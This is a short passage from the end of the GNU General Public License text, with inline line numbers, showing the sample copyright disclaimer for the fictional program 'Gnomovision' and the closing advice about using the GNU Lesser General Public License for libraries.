hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | --------------------------------------------------------------------------------